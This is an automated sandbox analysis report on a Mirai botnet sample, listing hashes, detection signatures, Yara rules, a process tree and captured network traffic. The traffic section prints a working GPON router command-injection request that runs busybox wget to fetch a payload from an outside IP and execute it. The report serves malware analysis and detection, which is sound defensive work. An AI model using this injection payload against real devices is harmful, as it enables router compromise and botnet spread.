Edit tour

Linux Analysis Report
CuruFoiJiK.elf

Overview

General Information

Sample name:	CuruFoiJiK.elf renamed because original name is a hash value
Original sample name:	da7737b175d9705ae82eb0f44e062cc4.elf
Analysis ID:	1365649
MD5:	da7737b175d9705ae82eb0f44e062cc4
SHA1:	237f4c70778c9facb36ad5c15c8bea79b9566464
SHA256:	a5d0279b09187f79c867ef741fe1371809d222979c4f42b45e9f9c7cb6bf8297
Tags:	32armelfmirai
Infos:

Detection

Mirai

Score:	80
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Mirai

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

Some HTTP requests failed (404). It is likely that the sample will exhibit less behavior.

Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.

General Information

Joe Sandbox version:	38.0.0 Ammolite
Analysis ID:	1365649
Start date and time:	2023-12-21 17:00:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	CuruFoiJiK.elf renamed because original name is a hash value
Original Sample Name:	da7737b175d9705ae82eb0f44e062cc4.elf
Detection:	MAL
Classification:	mal80.troj.linELF@0/0@0/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/CuruFoiJiK.elf
PID:	5513
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	love you ~jun0
Standard Error:

Process Tree

system is lnxubuntu20

CuruFoiJiK.elf (PID: 5513, Parent: 5435, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/CuruFoiJiK.elf

CuruFoiJiK.elf New Fork (PID: 5515, Parent: 5513)

CuruFoiJiK.elf New Fork (PID: 5517, Parent: 5515)

CuruFoiJiK.elf New Fork (PID: 5518, Parent: 5515)

CuruFoiJiK.elf New Fork (PID: 5520, Parent: 5515)

CuruFoiJiK.elf New Fork (PID: 5524, Parent: 5515)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
CuruFoiJiK.elf	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
CuruFoiJiK.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
CuruFoiJiK.elf	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0xb610:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A

Memory Dumps

Source	Rule	Description	Author	Strings
5513.1.00007f1d38017000.00007f1d38024000.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
5513.1.00007f1d38017000.00007f1d38024000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5513.1.00007f1d38017000.00007f1d38024000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0xb610:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
5517.1.00007f1d38017000.00007f1d38024000.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
5517.1.00007f1d38017000.00007f1d38024000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5517.1.00007f1d38017000.00007f1d38024000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0xb610:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
Click to see the 1 entries

HTTP traffic detected: POST /GponForm/diag_Form?images/ HTTP/1.1User-Agent: Hello, WorldAccept: */*Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedData Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 38 32 2e 31 30 33 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://45.142.182.103/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-UA-Compatible: IE=EmulateIE9, requiresActiveX=trueCache-Control: no-store, no-cache, must-revalidateContent-Type: text/htmlContent-Length: 345Date: Thu, 21 Dec 2023 16:02:42 GMTServer: lighttpd/1.4.35Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 34 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>404 - Not Found</title> </head> <body> <h1>404 - Not Found</h1> </body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Dec 2023 23:01:12 GMTServer: webserverX-Frame-Options: SAMEORIGINContent-Length: 189Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=10, max=5Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6c 6f 63 61 74 65 20 64 6f 63 75 6d 65 6e 74 3a 20 2f 74 6d 55 6e 62 6c 6f 63 6b 2e 63 67 69 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't locate document: /tmUnblock.cgi</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.8.1Date: Thu, 21 Dec 2023 16:01:14 GMTContent-Type: text/htmlContent-Length: 168Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 38 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.8.1</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Dec 2023 16:01:29 GMTServer: Apache/2.4.6 (CentOS) PHP/5.6.40Content-Length: 211Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 55 6e 62 6c 6f 63 6b 2e 63 67 69 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmUnblock.cgi was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundAccess-Control-Allow-Origin: *Access-Control-Allow-Headers: Content-TypeContent-Type: text/htmlContent-Length: 345Date: Thu, 21 Dec 2023 16:01:29 GMTServer: WebServerData Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 34 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>404 - Not Found</title> </head> <body> <h1>404 - Not Found</h1> </body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlX-Frame-Options: SAMEORIGINContent-Length: 341Connection: closeDate: Fri, 22 Dec 2023 01:01:28 GMTServer: lighttpd/1.4.55Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>404 Not Found</title> </head> <body> <h1>404 Not Found</h1> </body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Dec 2023 16:01:40 GMTServer: ApacheContent-Length: 1797Keep-Alive: timeout=30, max=100Connection: Keep-AliveContent-Type: text/html; charset=UTF-8Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e e7 ae a1 e7 90 86 e3 83 84 e3 83 bc e3 83 ab 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 63 73 73 2f 62 61 73 65 2e 63 73 73 22 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 3c 70 3e 3c 69 6d 67 20 73 72 63 3d 22 2e 2f 74 6f 70 5f 6c 6f 67 6f 2e 70 68 70 22 20 77 69 64 74 68 3d 22 38 35 30 22 20 68 65 69 67 68 74 3d 22 36 30 22 3e 3c 2f 70 3e 0a 3c 64 69 76 20 69 64 3d 22 74 6f 70 4d 61 69 6e 22 3e 0a 0a 0a 3c 70 20 69 64 3d 22 6c 65 61 64 22 3e e3 81 94 e5 88 a9 e7 94 a8 e3 81 ab e3 81 aa e3 82 8b e7 ae a1 e7 90 86 e3 83 84 e3 83 bc e3 83 ab e3 82 92 e9 81 b8 e6 8a 9e e3 81 97 e3 80 81 e3 83 a6 e3 83 bc e3 82 b6 e3 83 bc e5 90 8d e3 81 a8 e3 83 91 e3 82 b9 e3 83 af e3 83 bc e3 83 89 e3 82 92 e3 81 94 e5 85 a5 e5 8a 9b e3 81 8f e3 81 a0 e3 81 95 e3 81 84 e3 80 82 3c 2f 70 3e 0a 3c 70 20 63 6c 61 73 73 3d 22 68 65 61 64 22 3e 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 63 34 37 2e 65 74 69 75 73 2e 6a 70 2f 53 69 74 65 5f 4d 61 6e 61 67 65 72 2f 3f 47 55 45 53 54 5f 49 50 3d 31 2e 33 33 2e 31 37 39 2e 32 32 32 22 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 2e 2e 2f 69 6d 61 67 65 73 2f 46 76 73 47 65 32 66 53 4c 2f 2f 74 6f 70 5f 62 5f 73 6d 2e 67 69 66 22 20 62 6f 72 64 65 72 3d 22 30 22 20 61 6c 74 3d 22 e3 82 b5 e3 82 a4 e3 83 88 e3 83 9e e3 83 8d e3 83 bc e3 82 b8 e3 83 a3 e3 83 bc 22 3e 3c 2f 61 3e 3c 2f 70 3e 0a 3c 70 20 63 6c 61 73 73 3d 22 74 78 74 22 3e e3 82 b5 e3 82 a4 e3 83 88 e7 ae a1 e7 90 86 e8 80 85 28 61 64 6d 69 6e e3 82 a2 e3 82 ab e3 82 a6 e3 83 b3 e3 83 88 29 e7 94 a8 e3 81 ae e7 ae a1 e7 90 86 e3 83 84 e3 83 bc e3 83 ab e3 81 a7 e3 81 99 e3 80 82 3c 62 72 3e 0a e3 82 b5 e3 82 a4 e3 83 88 e7 ae a1 e7 90 86 e8 80 85 e3 81 ae e3 81 8a e5 ae a2 e3 81 95 e3 81 be e3 81 af e3 81 93 e3 81 a1 e3 82 89 e3 81 a7 e3 82 b5 e3 82 a4 e3 83 88 e5 85 a8 e4 bd 93 e3 81 ae e8 a8 ad e5 ae 9a e3 83 bb e3 82 a2 e3 82 ab e3 82 a6 e3 83 b3 e3 83 88 e7 ae a1 e7 90 86 e3 81 aa e3 81 a9 e3 82 92 e8 a1 8c e3 81 88 e3 81 be e3 81 99 e3 80 82 3c 62 72 3e 0a e3 82 b5 e3 82 a4 e3 83 88 e7 ae a1 e7 90 86 e8 80 85 28 61 64 6d 69 6e e3 82 a2 e3 82 ab e3 82 a6 e3 83 b3 e3 83 88 29 e3 81 ae e3 81 bf e3 83 ad e3 82 b0 e3 82 a4 e3 83 b3 e5 8f af e8 83 bd e3 81 a7 e3 81 99 e3 80 82 3c 2f 70 3e 0a 0a 3c 70 20 63 6c 61 73 73 3d 22 68 65 61 64 22 3e 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 63 34 37 2e 65 74 69 75 73 2e 6a 70 2f 57 65 62 5f 4d 61 6e 61 67 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Dec 2023 16:01:40 GMTServer: ApacheContent-Length: 1797Keep-Alive: timeout=30, max=100Connection: Keep-AliveContent-Type: text/html; charset=UTF-8Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e e7 ae a1 e7 90 86 e3 83 84 e3 83 bc e3 83 ab 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 63 73 73 2f 62 61 73 65 2e 63 73 73 22 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 3c 70 3e 3c 69 6d 67 20 73 72 63 3d 22 2e 2f 74 6f 70 5f 6c 6f 67 6f 2e 70 68 70 22 20 77 69 64 74 68 3d 22 38 35 30 22 20 68 65 69 67 68 74 3d 22 36 30 22 3e 3c 2f 70 3e 0a 3c 64 69 76 20 69 64 3d 22 74 6f 70 4d 61 69 6e 22 3e 0a 0a 0a 3c 70 20 69 64 3d 22 6c 65 61 64 22 3e e3 81 94 e5 88 a9 e7 94 a8 e3 81 ab e3 81 aa e3 82 8b e7 ae a1 e7 90 86 e3 83 84 e3 83 bc e3 83 ab e3 82 92 e9 81 b8 e6 8a 9e e3 81 97 e3 80 81 e3 83 a6 e3 83 bc e3 82 b6 e3 83 bc e5 90 8d e3 81 a8 e3 83 91 e3 82 b9 e3 83 af e3 83 bc e3 83 89 e3 82 92 e3 81 94 e5 85 a5 e5 8a 9b e3 81 8f e3 81 a0 e3 81 95 e3 81 84 e3 80 82 3c 2f 70 3e 0a 3c 70 20 63 6c 61 73 73 3d 22 68 65 61 64 22 3e 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 63 34 37 2e 65 74 69 75 73 2e 6a 70 2f 53 69 74 65 5f 4d 61 6e 61 67 65 72 2f 3f 47 55 45 53 54 5f 49 50 3d 31 2e 33 33 2e 31 37 39 2e 32 32 32 22 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 2e 2e 2f 69 6d 61 67 65 73 2f 46 76 73 47 65 32 66 53 4c 2f 2f 74 6f 70 5f 62 5f 73 6d 2e 67 69 66 22 20 62 6f 72 64 65 72 3d 22 30 22 20 61 6c 74 3d 22 e3 82 b5 e3 82 a4 e3 83 88 e3 83 9e e3 83 8d e3 83 bc e3 82 b8 e3 83 a3 e3 83 bc 22 3e 3c 2f 61 3e 3c 2f 70 3e 0a 3c 70 20 63 6c 61 73 73 3d 22 74 78 74 22 3e e3 82 b5 e3 82 a4 e3 83 88 e7 ae a1 e7 90 86 e8 80 85 28 61 64 6d 69 6e e3 82 a2 e3 82 ab e3 82 a6 e3 83 b3 e3 83 88 29 e7 94 a8 e3 81 ae e7 ae a1 e7 90 86 e3 83 84 e3 83 bc e3 83 ab e3 81 a7 e3 81 99 e3 80 82 3c 62 72 3e 0a e3 82 b5 e3 82 a4 e3 83 88 e7 ae a1 e7 90 86 e8 80 85 e3 81 ae e3 81 8a e5 ae a2 e3 81 95 e3 81 be e3 81 af e3 81 93 e3 81 a1 e3 82 89 e3 81 a7 e3 82 b5 e3 82 a4 e3 83 88 e5 85 a8 e4 bd 93 e3 81 ae e8 a8 ad e5 ae 9a e3 83 bb e3 82 a2 e3 82 ab e3 82 a6 e3 83 b3 e3 83 88 e7 ae a1 e7 90 86 e3 81 aa e3 81 a9 e3 82 92 e8 a1 8c e3 81 88 e3 81 be e3 81 99 e3 80 82 3c 62 72 3e 0a e3 82 b5 e3 82 a4 e3 83 88 e7 ae a1 e7 90 86 e8 80 85 28 61 64 6d 69 6e e3 82 a2 e3 82 ab e3 82 a6 e3 83 b3 e3 83 88 29 e3 81 ae e3 81 bf e3 83 ad e3 82 b0 e3 82 a4 e3 83 b3 e5 8f af e8 83 bd e3 81 a7 e3 81 99 e3 80 82 3c 2f 70 3e 0a 0a 3c 70 20 63 6c 61 73 73 3d 22 68 65 61 64 22 3e 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 63 34 37 2e 65 74 69 75 73 2e 6a 70 2f 57 65 62 5f 4d 61 6e 61 67 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundVary: Accept-EncodingX-Frame-Options: SAMEORIGINContent-Type: text/htmlX-Content-Type-Options: nosniffDate: Fri, 22 Dec 2023 03:01:44 GMTCache-Control: no-cacheContent-Length: 223X-XSS-Protection: 1; mode=blockConnection: Keep-AliveAccept-Ranges: bytesData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 72 65 3e 3c 2f 70 72 65 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><head> <title>Not Found</title> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"></head><body><h2>Access Error: 404 -- Not Found</h2><pre></pre></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Dec 2023 16:01:57 GMTContent-Length: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Dec 2023 16:01:57 GMTContent-Length: 0Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 0a 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: HTTP/1.1 400 Bad RequestContent-Type: text/plain; charset=utf-8Connection: close400 Bad Request
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plain; charset=utf-8X-Content-Type-Options: nosniffDate: Thu, 21 Dec 2023 16:02:42 GMTContent-Length: 19Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found
